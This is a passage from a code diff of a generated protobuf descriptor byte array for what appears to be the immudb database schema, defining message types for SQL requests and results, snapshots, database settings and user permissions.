0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, - 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x21, 0x0a, 0x05, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, - 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, - 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, - 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, - 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, - 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, - 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, - 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, - 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, - 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, - 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, - 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, - 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, - 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, - 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, - 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, - 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, - 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, - 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, - 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, - 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, + 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, + 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, + 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, 0x05, + 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, + 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, + 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, + 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, + 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, + 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, + 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, + 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, + 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, + 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, + 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x41, 0x0a, + 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, + 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, + 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, + 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x21, 0x0a, 0x05, 0x43, 0x68, + 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x4e, 0x0a, + 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, + 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, + 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, + 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, + 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, + 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, + 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, + 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, + 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, + 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, - 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, + 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, + 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, + 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, + 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, + 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, + 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, + 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, + 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, + 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, + 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, + 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, + 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, + 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, + 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, - 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, - 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, - 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, - 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, - 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, - 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, - 0x61, 0x6c, 0x75, 0x65, 